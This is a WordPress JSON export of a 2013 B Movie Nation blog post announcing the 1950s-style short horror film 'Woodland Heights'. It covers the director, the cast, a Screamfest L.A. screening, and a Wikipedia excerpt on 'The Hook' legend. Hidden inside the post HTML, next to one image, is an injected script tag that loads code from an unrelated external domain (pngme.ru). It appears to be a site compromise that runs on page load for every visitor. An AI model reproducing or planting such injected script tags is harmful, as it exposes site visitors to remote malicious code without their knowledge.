{"id":8368,"date":"2013-09-27T11:38:24","date_gmt":"2013-09-27T17:38:24","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=8368"},"modified":"2013-09-27T11:38:24","modified_gmt":"2013-09-27T17:38:24","slug":"woodland-heights-50s-style-short-film","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=8368","title":{"rendered":"&#8220;Woodland Heights&#8221; a 50&#8217;s style short film"},"content":{"rendered":"<p>\u201cWoodland Heights\u201d is a flashback to a 50\u2019s horror B-Movie.\u00a0 The film was written and directed by Samuel Gonzalez Jr..\u00a0\u00a0Currently Samuel is a full time filmmaker, but years back he was in Iraq and was awarded an Army Commendation Medal with Valor for his bravery and sacrifice during an attack while stationed in Baqubah.\u00a0\u00a0 Unfortunately Samuel lost a very close friend in that attack.\u00a0 While still there, he grew from his tragic experiences and began documenting his day to day life with a video camera.\u00a0 When he returned home he enrolled in the Art Center College of Design in Pasadena, California and soon after he was making short films.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8373\" rel=\"attachment wp-att-8373\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-8373\" alt=\"samuel\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel-202x300.jpg\" width=\"202\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel-202x300.jpg 202w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg 214w\" sizes=\"auto, (max-width: 202px) 100vw, 202px\" \/><\/a><\/p>\n<p>Staring in the film is Arielle Brachfeld who is no stranger to B Movie Nation and starred in the films \u201cThe Haunting of Whaley House,\u201d \u201cChemical Peel,\u201d and \u201cLive-In Fear\u201d amongst many others.\u00a0\u00a0 She costars with James Preston from the TV series \u201cThe Gates.\u201d<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8371\" rel=\"attachment wp-att-8371\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-8371\" alt=\"james\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/james-202x300.jpg\" width=\"202\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/james-202x300.jpg 202w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/james.jpg 214w\" sizes=\"auto, (max-width: 202px) 100vw, 202px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8370\" rel=\"attachment wp-att-8370\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-8370\" alt=\"arielle\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/arielle-202x300.jpg\" width=\"202\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/arielle-202x300.jpg 202w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/arielle.jpg 214w\" sizes=\"auto, (max-width: 202px) 100vw, 202px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;There is no terror in the bang, only in the anticipation of it.&#8221; Hitchcock. In tradition with drive-in horror movies of the 1950&#8217;s, Woodland Heights tells the story of a young couple\u2019s prom night taking a bizarre turn for the worse. \u00a0The film is based on the classic urban legend &#8220;The Hook.&#8221; \u00a0Which makes it ideal that the film was set in the 50\u2019s since the story \u201cHook-man\u201d has been around since then.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8372\" rel=\"attachment wp-att-8372\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-8372\" alt=\"open_party\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/open_party-300x172.jpg\" width=\"300\" height=\"172\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/open_party-300x172.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/open_party-785x450.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/open_party.jpg 837w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p>\u201cWoodland Heights\u201d will be playing at this year\u2019s Screamfest L.A. on Friday October 11th, 2013 at 9:30pm.\u00a0 For more information and to check out the trailer click here:<\/p>\n<p><a href=\"http:\/\/screamfestla.com\/content\/woodland-heights\">http:\/\/screamfestla.com\/content\/woodland-heights<\/a><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8374\" rel=\"attachment wp-att-8374\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-8374\" alt=\"woodlandh1_resize\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/woodlandh1_resize-300x187.jpg\" width=\"300\" height=\"187\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/woodlandh1_resize-300x187.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/woodlandh1_resize.jpg 500w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>For reference, here\u2019s the story of <i>The Hook Man.<\/i><\/p>\n<p style=\"text-align: center;\"><b>The Hook<\/b><\/p>\n<p style=\"text-align: center;\">From Wikipedia, the free encyclopedia<\/p>\n<p>The Hook, or Hookman, is a classic example of an urban legend. The basic premise involves a young couple parked at a dark lovers&#8217; lane. The radio plays music as the couple make out. The music is interrupted by an announcer who reports that a serial killer has just escaped an institution which is nearby. The killer has a hook in place of one of his hands. For varying reasons they decide to leave quickly. The legend ends with the discovery of the killer&#8217;s hook attached to the outside handle of one of the doors. Many variations include the sound of scraping on the car door. Some legends have the same beginning, but end up with them seeing him first, warning some others, \u00a0then having him come to their car. They try to escape, but end up with him holding on to the top of the car. It ends with both dying.<\/p>\n<p>In an alternative version of the story, the couple are driving through an unknown part of the country at night, and decide to stop the car in the middle of the woods, either because the male has to relieve himself, or the car has broken down and the man leaves to go for help. While waiting for him to return, the female turns on the radio and hears about the escaped mental patient. While waiting for the male to return, she is disturbed many times by a loud thumping on the roof of the car. She eventually exits her car and sees the escaped patient on the roof of the car, holding the male&#8217;s decapitated head in his hand and hitting the roof with it. Other variations tell of her seeing the male&#8217;s butchered body suspended upside down from a tree above the car with his fingers dangling just above the roof.<\/p>\n<p>A happier ending sees the couple driving off when it sounds as if the hookman is approaching the car. Along the way, they assure themselves it was just their imagination. However, upon getting home and exiting the car, they find the hook stuck in the door.<\/p>\n<p>References to this legend have been found from at least the mid-1950s to the mid-1960s<\/p>\n<p>&nbsp;<\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>\u201cWoodland Heights\u201d is a flashback to a 50\u2019s horror B-Movie.\u00a0 The film was written and directed by Samuel Gonzalez Jr..\u00a0\u00a0Currently Samuel is a full time filmmaker, but years back he was in Iraq and was awarded an Army Commendation Medal with Valor for his bravery and sacrifice during an attack while stationed in Baqubah.\u00a0\u00a0 Unfortunately&#8230;<\/p>\n","protected":false},"author":33,"featured_media":8373,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-8368","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-b-movie-news","wpcat-1-id"],"uagb_featured_image_src":{"full":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"thumbnail":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel-145x145.jpg",145,145,true],"medium":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel-202x300.jpg",202,300,true],"medium_large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"1536x1536":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"2048x2048":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"gridflex-1422w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"gridflex-1074w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",214,317,false],"gridflex-360w-300h-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/09\/samuel.jpg",203,300,false]},"uagb_author_info":{"display_name":"","author_link":"https:\/\/www.bmovienation.com\/?author=33"},"uagb_comment_info":0,"uagb_excerpt":"\u201cWoodland Heights\u201d is a flashback to a 50\u2019s horror B-Movie.\u00a0 The film was written and directed by Samuel Gonzalez Jr..\u00a0\u00a0Currently Samuel is a full time filmmaker, but years back he was in Iraq and was awarded an Army Commendation Medal with Valor for his bravery and sacrifice during an attack while stationed in Baqubah.\u00a0\u00a0 Unfortunately...","_links":{"self":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/8368","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/users\/33"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8368"}],"version-history":[{"count":0,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/8368\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/media\/8373"}],"wp:attachment":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8368"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8368"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8368"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}